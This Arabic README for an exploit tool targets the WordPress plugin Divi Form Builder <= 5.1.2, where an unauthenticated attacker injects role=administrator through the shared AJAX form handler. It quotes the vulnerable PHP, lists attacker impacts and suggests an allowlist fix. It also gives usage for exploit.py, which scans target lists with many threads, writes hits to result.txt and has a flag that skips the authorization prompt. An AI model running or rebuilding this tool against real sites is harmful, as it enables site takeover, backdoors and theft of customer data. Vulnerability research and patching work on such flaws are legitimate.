
Divi Form Builder <= 5.1.2 — تصعيد صلاحيات غير مصادق عليه عبر حقن الأدوار
🔥 ملخص الثغرة
إضافة ووردبريس Divi Form Builder بإصدارات <= 5.1.2 معرّضة لثغرة تصعيد امتيازات غير مصادق عليه. يسمح هذا الخلل الحرج للمهاجمين غير المصادقين بإنشاء حساب مدير (Administrator) جديد مباشرةً عبر أي نموذج من نماذج Divi Form Builder — بما في ذلك نماذج الاتصال، ونماذج عروض الأسعار، والنشرات الإخبارية، أو أي نموذج آخر مفعّل عبر DFB.
تنبع الثغرة من دالة create_user() في FormSubmissionHandler.php، والتي تقبل معامل role مباشرةً من بيانات POST المقدمة من المستخدم دون تحقق مناسب من الصلاحية أو قائمة سماح. تتحقق الإضافة فقط من أن الدور المُرسل موجود في النظام (على سبيل المثال، administrator هو دور ووردبريس صالح) — ولا تتحقق أبداً مما إذا كان الدور آمناً للتسجيل العام.
اكتشاف مفصلي: إن fb_nonce المستخدمة بواسطة Divi Form Builder هي nonce عامة مشتركة (wp_create_nonce('security')) — متطابقة عبر جميع النماذج في الموقع. علاوة على ذلك، يمكن تجاوز form_type=register عبر POST إلى معالج AJAX المشترك. وهذا يعني أن أي نموذج DFB (اتصال، عرض سعر، ملاحظات، إلخ) يمكن تسليحه لتفعيل تسجيل المستخدم مع تعيين دور تعسفي.
🔍 الإضافة المتأثرة
🧨 ما يمكن أن يفعله المهاجمون
| القدرة | الأثر |
|---|---|
| 🔑 إنشاء حساب مدير دون تسجيل دخول | استيلاء كامل على الموقع |
| 📦 الوصول إلى بيانات عملاء WooCommerce | اختراق البيانات |
| 💉 تعديل ملفات PHP الخاصة بالإضافات/القالب | تنفيذ تعليمات برمجية عن بُعد |
| 🕳️ تثبيت أبواب خلفية مخفية | وصول دائم |
| 👥 عرض جميع بيانات المستخدمين | انتهاك الخصوصية |
🧪 ميزات الاستغلال
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator إلى جانب حقول النموذج العاديةresult.txt🧠 الكود المعرّض للثغرة
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 الاستخدام
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
أنشئ ملف targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
| الخيار | الوصف |
|---|---|
-t, --target | رابط هدف واحد |
-l, --list | ملف يحتوي على قائمة الأهداف (سطر لكل هدف، http/https اختياري) |
-T, --threads | عدد الخيوط للفحص الجماعي (الافتراضي: 10) |
-o, --output | ملف الإخراج للنتائج (الافتراضي: result.txt) |
-u, --username | اسم مستخدم مخصص للحساب الجديد |
-p, --password | كلمة مرور مخصصة للحساب الجديد |
-e, --email | بريد إلكتروني مخصص للحساب الجديد |
-v, --verbose | إخراج تصحيح مفصّل |
--no-confirm | تخطي رسالة تأكيد الإذن |
🛠 توصيات الإصلاح
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role من النماذج الأمامية بالكاملcurrent_user_can('create_users') للأدوار المميزة🧠 الباحث
📚 المراجع
🔒 إخلاء المسؤولية:
هذه المعلومات مقدمة لأغراض تعليمية واختبار الاختراق المصرح به فقط. الاستغلال غير المصرح به لأنظمة الكمبيوتر غير قانوني وغير أخلاقي. احصل دائماً على إذن كتابي صريح قبل اختبار أي هدف لا تملكه.